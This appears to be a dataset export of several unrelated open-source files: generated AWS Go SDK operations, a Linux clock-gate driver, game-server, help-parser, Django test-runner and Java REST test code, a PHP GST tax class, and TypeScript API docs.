text
stringlengths
608
8.17k
// Code generated by smithy-go-codegen DO NOT EDIT. package finspace import ( "context" awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware" "github.com/aws/aws-sdk-go-v2/aws/signer/v4" "github.com/aws/smithy-go/middleware" smithyhttp "github.com/aws/smithy-go/transport/http" ) // Adds metadata tags to a FinSpace resource. func (c *Client) TagResource(ctx context.Context, params *TagResourceInput, optFns ...func(*Options)) (*TagResourceOutput, error) { if params == nil { params = &TagResourceInput{} } result, metadata, err := c.invokeOperation(ctx, "TagResource", params, optFns, addOperationTagResourceMiddlewares) if err != nil { return nil, err } out := result.(*TagResourceOutput) out.ResultMetadata = metadata return out, nil } type TagResourceInput struct { // The Amazon Resource Name (ARN) for the resource. // // This member is required. ResourceArn *string // One or more tags to be assigned to the resource. // // This member is required. Tags map[string]string } type TagResourceOutput struct { // Metadata pertaining to the operation's result. ResultMetadata middleware.Metadata } func addOperationTagResourceMiddlewares(stack *middleware.Stack, options Options) (err error) { err = stack.Serialize.Add(&awsRestjson1_serializeOpTagResource{}, middleware.After) if err != nil { return err } err = stack.Deserialize.Add(&awsRestjson1_deserializeOpTagResource{}, middleware.After) if err != nil { return err } if err = addSetLoggerMiddleware(stack, options); err != nil { return err } if err = awsmiddleware.AddClientRequestIDMiddleware(stack); err != nil { return err } if err = smithyhttp.AddComputeContentLengthMiddleware(stack); err != nil { return err } if err = addResolveEndpointMiddleware(stack, options); err != nil { return err } if err = v4.AddComputePayloadSHA256Middleware(stack); err != nil { return err } if err = addRetryMiddlewares(stack, options); err != nil { return err } if err = addHTTPSignerV4Middleware(stack, options); err != nil { return err } if err = awsmiddleware.AddRawResponseToMetadata(stack); err != nil { return err } if err = awsmiddleware.AddRecordResponseTiming(stack); err != nil { return err } if err = addClientUserAgent(stack); err != nil { return err } if err = addRestJsonContentTypeCustomization(stack); err != nil { return err } if err = smithyhttp.AddErrorCloseResponseBodyMiddleware(stack); err != nil { return err } if err = smithyhttp.AddCloseResponseBodyMiddleware(stack); err != nil { return err } if err = addOpTagResourceValidationMiddleware(stack); err != nil { return err } if err = stack.Initialize.Add(newServiceMetadataMiddleware_opTagResource(options.Region), middleware.Before); err != nil { return err } if err = addRequestIDRetrieverMiddleware(stack); err != nil { return err } if err = addResponseErrorMiddleware(stack); err != nil { return err } if err = addRequestResponseLogging(stack, options); err != nil { return err } return nil } func newServiceMetadataMiddleware_opTagResource(region string) *awsmiddleware.RegisterServiceMetadata { return &awsmiddleware.RegisterServiceMetadata{ Region: region, ServiceID: ServiceID, SigningName: "finspace", OperationName: "TagResource", } }
/* * Hisilicon clock separated gate driver * * Copyright (c) 2012-2013 Hisilicon Limited. * Copyright (c) 2012-2013 Linaro Limited. * * Author: Haojian Zhuang <haojian.zhuang@linaro.org> * Xin Li <li.xin@linaro.org> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. * */ #include <linux/kernel.h> #include <linux/clk-provider.h> #include <linux/io.h> #include <linux/slab.h> #include "clk.h" /* clock separated gate register offset */ #define CLKGATE_SEPERATED_ENABLE 0x0 #define CLKGATE_SEPERATED_DISABLE 0x4 #define CLKGATE_SEPERATED_STATUS 0x8 struct clkgate_separated { struct clk_hw hw; void __iomem *enable; /* enable register */ u8 bit_idx; /* bits in enable/disable register */ u8 flags; spinlock_t *lock; }; static int clkgate_separated_enable(struct clk_hw *hw) { struct clkgate_separated *sclk; unsigned long flags = 0; u32 reg; sclk = container_of(hw, struct clkgate_separated, hw); if (sclk->lock) spin_lock_irqsave(sclk->lock, flags); reg = BIT(sclk->bit_idx); writel_relaxed(reg, sclk->enable); readl_relaxed(sclk->enable + CLKGATE_SEPERATED_STATUS); if (sclk->lock) spin_unlock_irqrestore(sclk->lock, flags); return 0; } static void clkgate_separated_disable(struct clk_hw *hw) { struct clkgate_separated *sclk; unsigned long flags = 0; u32 reg; sclk = container_of(hw, struct clkgate_separated, hw); if (sclk->lock) spin_lock_irqsave(sclk->lock, flags); reg = BIT(sclk->bit_idx); writel_relaxed(reg, sclk->enable + CLKGATE_SEPERATED_DISABLE); readl_relaxed(sclk->enable + CLKGATE_SEPERATED_STATUS); if (sclk->lock) spin_unlock_irqrestore(sclk->lock, flags); } static int clkgate_separated_is_enabled(struct clk_hw *hw) { struct clkgate_separated *sclk; u32 reg; sclk = container_of(hw, struct clkgate_separated, hw); reg = readl_relaxed(sclk->enable + CLKGATE_SEPERATED_STATUS); reg &= BIT(sclk->bit_idx); return reg ? 1 : 0; } static struct clk_ops clkgate_separated_ops = { .enable = clkgate_separated_enable, .disable = clkgate_separated_disable, .is_enabled = clkgate_separated_is_enabled, }; struct clk *hisi_register_clkgate_sep(struct device *dev, const char *name, const char *parent_name, unsigned long flags, void __iomem *reg, u8 bit_idx, u8 clk_gate_flags, spinlock_t *lock) { struct clkgate_separated *sclk; struct clk *clk; struct clk_init_data init; sclk = kzalloc(sizeof(*sclk), GFP_KERNEL); if (!sclk) { pr_err("%s: fail to allocate separated gated clk\n", __func__); return ERR_PTR(-ENOMEM); } init.name = name; init.ops = &clkgate_separated_ops; init.flags = flags | CLK_IS_BASIC; init.parent_names = (parent_name ? &parent_name : NULL); init.num_parents = (parent_name ? 1 : 0); sclk->enable = reg + CLKGATE_SEPERATED_ENABLE; sclk->bit_idx = bit_idx; sclk->flags = clk_gate_flags; sclk->hw.init = &init; sclk->lock = lock; clk = clk_register(dev, &sclk->hw); if (IS_ERR(clk)) kfree(sclk); return clk; }
/** * The Forgotten Server - a free and open-source MMORPG server emulator * Copyright (C) 2015 Mark Samman <mark.samman@gmail.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include "otpch.h" #include "housetile.h" #include "house.h" #include "game.h" extern Game g_game; HouseTile::HouseTile(int32_t x, int32_t y, int32_t z, House* _house) : DynamicTile(x, y, z) { house = _house; setFlag(TILESTATE_HOUSE); } void HouseTile::addThing(int32_t index, Thing* thing) { Tile::addThing(index, thing); if (!thing->getParent()) { return; } if (Item* item = thing->getItem()) { updateHouse(item); } } void HouseTile::internalAddThing(uint32_t index, Thing* thing) { Tile::internalAddThing(index, thing); if (!thing->getParent()) { return; } if (Item* item = thing->getItem()) { updateHouse(item); } } void HouseTile::updateHouse(Item* item) { if (item->getParent() != this) { return; } Door* door = item->getDoor(); if (door) { if (door->getDoorId() != 0) { house->addDoor(door); } } else { BedItem* bed = item->getBed(); if (bed) { house->addBed(bed); } } } ReturnValue HouseTile::queryAdd(int32_t index, const Thing& thing, uint32_t count, uint32_t flags, Creature* actor/* = nullptr*/) const { if (const Creature* creature = thing.getCreature()) { if (const Player* player = creature->getPlayer()) { if (!house->isInvited(player)) { return RETURNVALUE_PLAYERISNOTINVITED; } } else { return RETURNVALUE_NOTPOSSIBLE; } } else if (thing.getItem() && actor) { Player* actorPlayer = actor->getPlayer(); if (!house->isInvited(actorPlayer)) { return RETURNVALUE_CANNOTTHROW; } } return Tile::queryAdd(index, thing, count, flags, actor); } Tile* HouseTile::queryDestination(int32_t& index, const Thing& thing, Item** destItem, uint32_t& flags) { if (const Creature* creature = thing.getCreature()) { if (const Player* player = creature->getPlayer()) { if (!house->isInvited(player)) { const Position& entryPos = house->getEntryPosition(); Tile* destTile = g_game.map.getTile(entryPos); if (!destTile) { std::cout << "Error: [HouseTile::queryDestination] House entry not correct" << " - Name: " << house->getName() << " - House id: " << house->getId() << " - Tile not found: " << entryPos << std::endl; destTile = g_game.map.getTile(player->getTemplePosition()); if (!destTile) { destTile = &(Tile::nullptr_tile); } } index = -1; *destItem = nullptr; return destTile; } } } return Tile::queryDestination(index, thing, destItem, flags); }
/* Helpparse.c - help file parser. Copyright (C) 2000 Imre Leber This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. If you have any questions, comments, suggestions, or fixes please email me at: imre.leber@worldonline.be */ #include <stdlib.h> #include <string.h> #include "hlpread.h" static size_t AmofLines; static char* EmptyString = ""; static char** HelpSysData = NULL; static size_t CountLines(char* RawData, size_t bufsize) { size_t count = 0, i = 0; while (i < bufsize) { if (RawData[i] == '\r') { count++; if ((i+1 < bufsize) && (RawData[i+1] == '\n')) i++; } else if (RawData[i] == '\n') count++; i++; } return count + 1; } static char* GetNextLine(char* input, char** slot, int restinbuf) { char* p = input; int len; while ((*p != '\r') && (*p != '\n') && restinbuf) { p++; restinbuf--; } len = (int)(p - input); if (len) { if ((*slot = (char*) malloc(len+1)) == NULL) return NULL; memcpy(*slot, input, (int)(p-input)); *((*slot) + len) = '\0'; } else *slot = EmptyString; if (*(p+1) == '\n') return p+2; else return p+1; } int ParseHelpFile(char* RawData, size_t bufsize) { int i, j; char* input = RawData; AmofLines = CountLines(RawData, bufsize); if ((HelpSysData = (char**) malloc(AmofLines * sizeof(char*))) == NULL) return HELPMEMINSUFFICIENT; for (i = 0; i < AmofLines; i++) { input = GetNextLine(input, &HelpSysData[i], (int)(bufsize - (input - RawData))); if (!input) { for (j = 0; j < i; j++) free(HelpSysData[j]); free(HelpSysData); HelpSysData=0; return HELPMEMINSUFFICIENT; } } return HELPSUCCESS; } size_t GetHelpLineCount() { return AmofLines; } char* GetHelpLine(int line) { return HelpSysData[line]; } void FreeHelpSysData() { int i; if (HelpSysData) { for (i = 0; i < AmofLines; i++) { if (HelpSysData[i] != EmptyString) free(HelpSysData[i]); } free(HelpSysData); } HelpSysData = NULL; }
#!/usr/bin/env python # -*- coding: utf-8 -*- import logging __author__ = 'Tim Schneider <tim.schneider@northbridge-development.de>' __copyright__ = "Copyright 2015, Northbridge Development Konrad & Schneider GbR" __credits__ = ["Tim Schneider", ] __maintainer__ = "Tim Schneider" __email__ = "mail@northbridge-development.de" __status__ = "Development" logger = logging.getLogger(__name__) import glob import os import sys BASE_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '../..')) print BASE_DIR sys.path.insert(0, os.path.abspath(BASE_DIR)) try: import coverage # Import coverage if available cov = coverage.coverage( cover_pylib=False, config_file=os.path.join(os.path.dirname(__file__), 'coverage.conf'), include='%s/*' % BASE_DIR, ) cov.start() sys.stdout.write('Using coverage\n') except ImportError: cov = None sys.stdout.write('Coverage not available. To evaluate the coverage, please install coverage.\n') import django from django.conf import settings from django.core.management import execute_from_command_line # Unfortunately, apps can not be installed via ``modify_settings`` # decorator, because it would miss the database setup. INSTALLED_APPS = ( 'django_splitdate', ) settings.configure( SECRET_KEY="django_tests_secret_key", DEBUG=False, TEMPLATE_DEBUG=False, ALLOWED_HOSTS=[], INSTALLED_APPS=INSTALLED_APPS, MIDDLEWARE_CLASSES=[], ROOT_URLCONF='tests.urls', DATABASES={ 'default': { 'ENGINE': 'django.db.backends.sqlite3', } }, LANGUAGE_CODE='en-us', TIME_ZONE='UTC', USE_I18N=True, USE_L10N=True, USE_TZ=True, STATIC_URL='/static/', # Use a fast hasher to speed up tests. PASSWORD_HASHERS=( 'django.contrib.auth.hashers.MD5PasswordHasher', ), FIXTURE_DIRS=glob.glob(BASE_DIR + '/' + '*/fixtures/') ) django.setup() args = [sys.argv[0], 'test'] # Current module (``tests``) and its submodules. test_cases = '.' # Allow accessing test options from the command line. offset = 1 try: sys.argv[1] except IndexError: pass else: option = sys.argv[1].startswith('-') if not option: test_cases = sys.argv[1] offset = 2 args.append(test_cases) # ``verbosity`` can be overwritten from command line. #args.append('--verbosity=2') args.extend(sys.argv[offset:]) execute_from_command_line(args) if cov is not None: sys.stdout.write('Evaluating Coverage\n') cov.stop() cov.save() sys.stdout.write('Generating HTML Report\n') cov.html_report()
/* * Copyright 2013, The Sporting Exchange Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // Originally from UpdatedComponentTests/StandardValidation/REST/Rest_IDL_QueryParam_ENUM_blank.xls; package com.betfair.cougar.tests.updatedcomponenttests.standardvalidation.rest; import com.betfair.testing.utils.cougar.misc.XMLHelpers; import com.betfair.testing.utils.cougar.assertions.AssertionUtils; import com.betfair.testing.utils.cougar.beans.HttpCallBean; import com.betfair.testing.utils.cougar.beans.HttpResponseBean; import com.betfair.testing.utils.cougar.enums.CougarMessageProtocolRequestTypeEnum; import com.betfair.testing.utils.cougar.manager.AccessLogRequirement; import com.betfair.testing.utils.cougar.manager.CougarManager; import org.testng.annotations.Test; import org.w3c.dom.Document; import javax.xml.parsers.DocumentBuilderFactory; import java.io.ByteArrayInputStream; import java.sql.Timestamp; import java.util.HashMap; import java.util.Map; /** * Ensure that Cougar returns the correct fault, when a REST request passes a blank ENUM Query parameter */ public class RestIDLQueryParamENUMblankTest { @Test public void doTest() throws Exception { // Create the HttpCallBean CougarManager cougarManager1 = CougarManager.getInstance(); HttpCallBean httpCallBeanBaseline = cougarManager1.getNewHttpCallBean(); CougarManager cougarManagerBaseline = cougarManager1; // Get the cougar logging attribute for getting log entries later // Point the created HttpCallBean at the correct service httpCallBeanBaseline.setServiceName("baseline", "cougarBaseline"); httpCallBeanBaseline.setVersion("v2"); // Set up the Http Call Bean to make the request CougarManager cougarManager2 = CougarManager.getInstance(); HttpCallBean getNewHttpCallBean2 = cougarManager2.getNewHttpCallBean("87.248.113.14"); cougarManager2 = cougarManager2; cougarManager2.setCougarFaultControllerJMXMBeanAttrbiute("DetailedFaults", "false"); getNewHttpCallBean2.setOperationName("enumOperation"); getNewHttpCallBean2.setServiceName("baseline", "cougarBaseline"); getNewHttpCallBean2.setVersion("v2"); // Set the parameters, setting the ENUM Query parameter as blank Map map3 = new HashMap(); map3.put("headerParam","FooHeader"); getNewHttpCallBean2.setHeaderParams(map3); Map map4 = new HashMap(); map4.put("queryParam",""); getNewHttpCallBean2.setQueryParams(map4); getNewHttpCallBean2.setRestPostQueryObjects(DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new ByteArrayInputStream("<message><bodyParameter>FooBody</bodyParameter></message>".getBytes()))); // Get current time for getting log entries later Timestamp getTimeAsTimeStamp11 = new Timestamp(System.currentTimeMillis()); // Make the 4 REST calls to the operation cougarManager2.makeRestCougarHTTPCalls(getNewHttpCallBean2); // Create the expected response as an XML document (Fault) XMLHelpers xMLHelpers6 = new XMLHelpers(); Document createAsDocumentXml = xMLHelpers6.getXMLObjectFromString("<fault><faultcode>Client</faultcode><faultstring>DSC-0044</faultstring><detail/></fault>"); Document createAsDocumentJson = xMLHelpers6.getXMLObjectFromString("<fault><faultcode>Client</faultcode><faultstring>DSC-0044</faultstring><detail/></fault>"); // Convert the expected response to REST types for comparison with actual responses Map<CougarMessageProtocolRequestTypeEnum, Object> convertResponseToRestTypesXml = cougarManager2.convertResponseToRestTypes(createAsDocumentXml, getNewHttpCallBean2); Map<CougarMessageProtocolRequestTypeEnum, Object> convertResponseToRestTypesJson = cougarManager2.convertResponseToRestTypes(createAsDocumentJson, getNewHttpCallBean2); // Check the 4 responses are as expected (Bad Request) HttpResponseBean response7 = getNewHttpCallBean2.getResponseObjectsByEnum(com.betfair.testing.utils.cougar.enums.CougarMessageProtocolResponseTypeEnum.RESTXMLXML); AssertionUtils.multiAssertEquals(convertResponseToRestTypesXml.get(CougarMessageProtocolRequestTypeEnum.RESTXML), response7.getResponseObject()); AssertionUtils.multiAssertEquals((int) 400, response7.getHttpStatusCode()); AssertionUtils.multiAssertEquals("Bad Request", response7.getHttpStatusText()); HttpResponseBean response8 = getNewHttpCallBean2.getResponseObjectsByEnum(com.betfair.testing.utils.cougar.enums.CougarMessageProtocolResponseTypeEnum.RESTJSONJSON); AssertionUtils.multiAssertEquals(convertResponseToRestTypesJson.get(CougarMessageProtocolRequestTypeEnum.RESTJSON), response8.getResponseObject()); AssertionUtils.multiAssertEquals((int) 400, response8.getHttpStatusCode()); AssertionUtils.multiAssertEquals("Bad Request", response8.getHttpStatusText()); HttpResponseBean response9 = getNewHttpCallBean2.getResponseObjectsByEnum(com.betfair.testing.utils.cougar.enums.CougarMessageProtocolResponseTypeEnum.RESTXMLJSON); AssertionUtils.multiAssertEquals(convertResponseToRestTypesXml.get(CougarMessageProtocolRequestTypeEnum.RESTJSON), response9.getResponseObject()); AssertionUtils.multiAssertEquals((int) 400, response9.getHttpStatusCode()); AssertionUtils.multiAssertEquals("Bad Request", response9.getHttpStatusText()); HttpResponseBean response10 = getNewHttpCallBean2.getResponseObjectsByEnum(com.betfair.testing.utils.cougar.enums.CougarMessageProtocolResponseTypeEnum.RESTJSONXML); AssertionUtils.multiAssertEquals(convertResponseToRestTypesJson.get(CougarMessageProtocolRequestTypeEnum.RESTXML), response10.getResponseObject()); AssertionUtils.multiAssertEquals((int) 400, response10.getHttpStatusCode()); AssertionUtils.multiAssertEquals("Bad Request", response10.getHttpStatusText()); // generalHelpers.pauseTest(500L); // Check the log entries are as expected CougarManager cougarManager13 = CougarManager.getInstance(); cougarManager13.verifyAccessLogEntriesAfterDate(getTimeAsTimeStamp11, new AccessLogRequirement("87.248.113.14", "/cougarBaseline/v2/enumOperation", "BadRequest"),new AccessLogRequirement("87.248.113.14", "/cougarBaseline/v2/enumOperation", "BadRequest"),new AccessLogRequirement("87.248.113.14", "/cougarBaseline/v2/enumOperation", "BadRequest"),new AccessLogRequirement("87.248.113.14", "/cougarBaseline/v2/enumOperation", "BadRequest") ); } }
// Code generated by smithy-go-codegen DO NOT EDIT. package managedblockchain import ( "context" "fmt" awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware" "github.com/aws/aws-sdk-go-v2/aws/signer/v4" "github.com/aws/aws-sdk-go-v2/service/managedblockchain/types" smithy "github.com/awslabs/smithy-go" "github.com/awslabs/smithy-go/middleware" smithyhttp "github.com/awslabs/smithy-go/transport/http" ) // Creates a proposal for a change to the network that other members of the network // can vote on, for example, a proposal to add a new member to the network. Any // member can create a proposal. func (c *Client) CreateProposal(ctx context.Context, params *CreateProposalInput, optFns ...func(*Options)) (*CreateProposalOutput, error) { stack := middleware.NewStack("CreateProposal", smithyhttp.NewStackRequest) options := c.options.Copy() for _, fn := range optFns { fn(&options) } addawsRestjson1_serdeOpCreateProposalMiddlewares(stack) awsmiddleware.AddRequestInvocationIDMiddleware(stack) smithyhttp.AddContentLengthMiddleware(stack) addResolveEndpointMiddleware(stack, options) v4.AddComputePayloadSHA256Middleware(stack) addRetryMiddlewares(stack, options) addHTTPSignerV4Middleware(stack, options) awsmiddleware.AddAttemptClockSkewMiddleware(stack) addClientUserAgent(stack) smithyhttp.AddErrorCloseResponseBodyMiddleware(stack) smithyhttp.AddCloseResponseBodyMiddleware(stack) addIdempotencyToken_opCreateProposalMiddleware(stack, options) addOpCreateProposalValidationMiddleware(stack) stack.Initialize.Add(newServiceMetadataMiddleware_opCreateProposal(options.Region), middleware.Before) addRequestIDRetrieverMiddleware(stack) addResponseErrorMiddleware(stack) for _, fn := range options.APIOptions { if err := fn(stack); err != nil { return nil, err } } handler := middleware.DecorateHandler(smithyhttp.NewClientHandler(options.HTTPClient), stack) result, metadata, err := handler.Handle(ctx, params) if err != nil { return nil, &smithy.OperationError{ ServiceID: ServiceID, OperationName: "CreateProposal", Err: err, } } out := result.(*CreateProposalOutput) out.ResultMetadata = metadata return out, nil } type CreateProposalInput struct { // The type of actions proposed, such as inviting a member or removing a member. // The types of Actions in a proposal are mutually exclusive. For example, a // proposal with Invitations actions cannot also contain Removals actions. // // This member is required. Actions *types.ProposalActions // A unique, case-sensitive identifier that you provide to ensure the idempotency // of the operation. An idempotent operation completes no more than one time. This // identifier is required only if you make a service request directly using an HTTP // client. It is generated automatically if you use an AWS SDK or the AWS CLI. // // This member is required. ClientRequestToken *string // The unique identifier of the member that is creating the proposal. This // identifier is especially useful for identifying the member making the proposal // when multiple members exist in a single AWS account. // // This member is required. MemberId *string // The unique identifier of the network for which the proposal is made. // // This member is required. NetworkId *string // A description for the proposal that is visible to voting members, for example, // "Proposal to add Example Corp. as member." Description *string } type CreateProposalOutput struct { // The unique identifier of the proposal. ProposalId *string // Metadata pertaining to the operation's result. ResultMetadata middleware.Metadata } func addawsRestjson1_serdeOpCreateProposalMiddlewares(stack *middleware.Stack) { stack.Serialize.Add(&awsRestjson1_serializeOpCreateProposal{}, middleware.After) stack.Deserialize.Add(&awsRestjson1_deserializeOpCreateProposal{}, middleware.After) } type idempotencyToken_initializeOpCreateProposal struct { tokenProvider IdempotencyTokenProvider } func (*idempotencyToken_initializeOpCreateProposal) ID() string { return "OperationIdempotencyTokenAutoFill" } func (m *idempotencyToken_initializeOpCreateProposal) HandleInitialize(ctx context.Context, in middleware.InitializeInput, next middleware.InitializeHandler) ( out middleware.InitializeOutput, metadata middleware.Metadata, err error, ) { if m.tokenProvider == nil { return next.HandleInitialize(ctx, in) } input, ok := in.Parameters.(*CreateProposalInput) if !ok { return out, metadata, fmt.Errorf("expected middleware input to be of type *CreateProposalInput ") } if input.ClientRequestToken == nil { t, err := m.tokenProvider.GetIdempotencyToken() if err != nil { return out, metadata, err } input.ClientRequestToken = &t } return next.HandleInitialize(ctx, in) } func addIdempotencyToken_opCreateProposalMiddleware(stack *middleware.Stack, cfg Options) { stack.Initialize.Add(&idempotencyToken_initializeOpCreateProposal{tokenProvider: cfg.IdempotencyTokenProvider}, middleware.Before) } func newServiceMetadataMiddleware_opCreateProposal(region string) awsmiddleware.RegisterServiceMetadata { return awsmiddleware.RegisterServiceMetadata{ Region: region, ServiceID: ServiceID, SigningName: "managedblockchain", OperationName: "CreateProposal", } }
<?php defined('BASEPATH') or exit('No direct script access allowed'); /* * ============================================================================== * Author : Sheik * Email : info@srampos.com * For : SRAM POS * Web : http://srammram.com * ============================================================================== */ class Gst { public function __construct() { } public function __get($var) { return get_instance()->$var; } function summary($rows = [], $return_rows = [], $product_tax = 0, $onCost = false) { $code = ''; if ($this->Settings->invoice_view > 0 && !empty($rows)) { $tax_summary = $this->taxSummary($rows, $onCost); if (!empty($return_rows)) { $return_tax_summary = $this->taxSummary($return_rows, $onCost); $tax_summary = $tax_summary + $return_tax_summary; } $code = $this->genHTML($tax_summary, $product_tax); } return $code; } function taxSummary($rows = [], $onCost = false) { $tax_summary = []; if (!empty($rows)) { foreach ($rows as $row) { if (isset($tax_summary[$row->tax_code])) { $tax_summary[$row->tax_code]['items'] += $row->unit_quantity; $tax_summary[$row->tax_code]['tax'] += $row->item_tax; $tax_summary[$row->tax_code]['amt'] += ($row->unit_quantity * ($onCost ? $row->net_unit_cost : $row->net_unit_price)) - $row->item_discount; } else { $tax_summary[$row->tax_code]['items'] = $row->unit_quantity; $tax_summary[$row->tax_code]['tax'] = $row->item_tax; $tax_summary[$row->tax_code]['amt'] = ($row->unit_quantity * ($onCost ? $row->net_unit_cost : $row->net_unit_price)) - $row->item_discount; $tax_summary[$row->tax_code]['name'] = $row->tax_name; $tax_summary[$row->tax_code]['code'] = $row->tax_code; $tax_summary[$row->tax_code]['rate'] = $row->tax_rate; } } } return $tax_summary; } function genHTML($tax_summary = [], $product_tax = 0) { $html = ''; if (!empty($tax_summary)) { $html .= '<h4 style="font-weight:bold;">' . lang('tax_summary') . '</h4>'; $html .= '<table class="table table-bordered table-striped print-table order-table table-condensed"><thead><tr><th>' . lang('name') . '</th><th>' . lang('code') . '</th><th>' . lang('qty') . '</th><th>' . lang('tax_excl') . '</th><th>' . lang('tax_amt') . '</th></tr></td><tbody>'; foreach ($tax_summary as $summary) { $html .= '<tr><td>' . $summary['name'] . '</td><td class="text-center">' . $summary['code'] . '</td><td class="text-center">' . $this->sma->formatQuantity($summary['items']) . '</td><td class="text-right">' . $this->sma->formatMoney($summary['amt']) . '</td><td class="text-right">' . $this->sma->formatMoney($summary['tax']) . '</td></tr>'; } $html .= '</tbody></tfoot>'; $html .= '<tr class="active"><th colspan="4" class="text-right">' . lang('total_tax_amount') . '</th><th class="text-right">' . $this->sma->formatMoney($product_tax) . '</th></tr>'; $html .= '</tfoot></table>'; } return $html; } function calculteIndianGST($item_tax, $state, $tax_details) { if ($this->Settings->indian_gst) { $cgst = $sgst = $igst = 0; if ($state) { $gst = $tax_details->type == 1 ? $this->sma->formatDecimal(($tax_details->rate/2), 0).'%' : $this->sma->formatDecimal(($tax_details->rate/2), 0); $cgst = $this->sma->formatDecimal(($item_tax / 2), 4); $sgst = $this->sma->formatDecimal(($item_tax / 2), 4); } else { $gst = $tax_details->type == 1 ? $this->sma->formatDecimal(($tax_details->rate), 0).'%' : $this->sma->formatDecimal(($tax_details->rate), 0); $igst = $item_tax; } return ['gst' => $gst, 'cgst' => $cgst, 'sgst' => $sgst, 'igst' => $igst]; } return []; } function getIndianStates($blank = false) { $istates = [ 'AN' => 'Andaman & Nicobar', 'AP' => 'Andhra Pradesh', 'AR' => 'Arunachal Pradesh', 'AS' => 'Assam', 'BR' => 'Bihar', 'CH' => 'Chandigarh', 'CT' => 'Chhattisgarh', 'DN' => 'Dadra and Nagar Haveli', 'DD' => 'Daman & Diu', 'DL' => 'Delhi', 'GA' => 'Goa', 'GJ' => 'Gujarat', 'HR' => 'Haryana', 'HP' => 'Himachal Pradesh', 'JK' => 'Jammu & Kashmir', 'JH' => 'Jharkhand', 'KA' => 'Karnataka', 'KL' => 'Kerala', 'LD' => 'Lakshadweep', 'MP' => 'Madhya Pradesh', 'MH' => 'Maharashtra', 'MN' => 'Manipur', 'ML' => 'Meghalaya', 'MZ' => 'Mizoram', 'NL' => 'Nagaland', 'OR' => 'Odisha', 'PY' => 'Puducherry', 'PB' => 'Punjab', 'RJ' => 'Rajasthan', 'SK' => 'Sikkim', 'TN' => 'Tamil Nadu', 'TR' => 'Tripura', 'UK' => 'Uttarakhand', 'UP' => 'Uttar Pradesh', 'WB' => 'West Bengal', ]; if ($blank) { array_unshift($istates, lang('select')); } return $istates; } }
[stime](../README.md) › [Globals](../globals.md) › ["Format/Minute"](../modules/_format_minute_.md) › [Minute](_format_minute_.minute.md) # Class: Minute Minute format ## Hierarchy * [Format](_format_.format.md) ↳ **Minute** ## Index ### Methods * [format](_format_minute_.minute.md#format) * [formatNumber](_format_minute_.minute.md#protected-formatnumber) * [parse](_format_minute_.minute.md#parse) * [parsePaddedAndUnpaddedUnits](_format_minute_.minute.md#protected-parsepaddedandunpaddedunits) ## Methods ### format ▸ **format**(`time`: [Formattable](_formattable_.formattable.md), `format`: string): *string* *Overrides [Format](_format_.format.md).[format](_format_.format.md#abstract-format)* *Defined in [Format/Minute.ts:11](https://github.com/TerenceJefferies/STime/blob/b69ea6e/src/Format/Minute.ts#L11)* **`inheritdoc`** **Parameters:** Name | Type | ------ | ------ | `time` | [Formattable](_formattable_.formattable.md) | `format` | string | **Returns:** *string* ___ ### `Protected` formatNumber ▸ **formatNumber**(`number`: number, `leadingZero`: boolean): *string* *Inherited from [Year](_format_year_.year.md).[formatNumber](_format_year_.year.md#protected-formatnumber)* *Defined in [Format.ts:27](https://github.com/TerenceJefferies/STime/blob/b69ea6e/src/Format.ts#L27)* Format a number to a string and have it include or exclude leading zeros **Parameters:** Name | Type | Description | ------ | ------ | ------ | `number` | number | Number to format | `leadingZero` | boolean | True if leading zeros should be included false otherwise | **Returns:** *string* Formatted number ___ ### parse ▸ **parse**(`parsable`: string, `format`: string): *number* *Defined in [Format/Minute.ts:26](https://github.com/TerenceJefferies/STime/blob/b69ea6e/src/Format/Minute.ts#L26)* **`inheritdoc`** **Parameters:** Name | Type | ------ | ------ | `parsable` | string | `format` | string | **Returns:** *number* ___ ### `Protected` parsePaddedAndUnpaddedUnits ▸ **parsePaddedAndUnpaddedUnits**(`parsable`: string, `format`: string, `token`: string): *number* *Inherited from [Year](_format_year_.year.md).[parsePaddedAndUnpaddedUnits](_format_year_.year.md#protected-parsepaddedandunpaddedunits)* *Defined in [Format.ts:43](https://github.com/TerenceJefferies/STime/blob/b69ea6e/src/Format.ts#L43)* **Parameters:** Name | Type | Description | ------ | ------ | ------ | `parsable` | string | - | `format` | string | - | `token` | string | | **Returns:** *number*
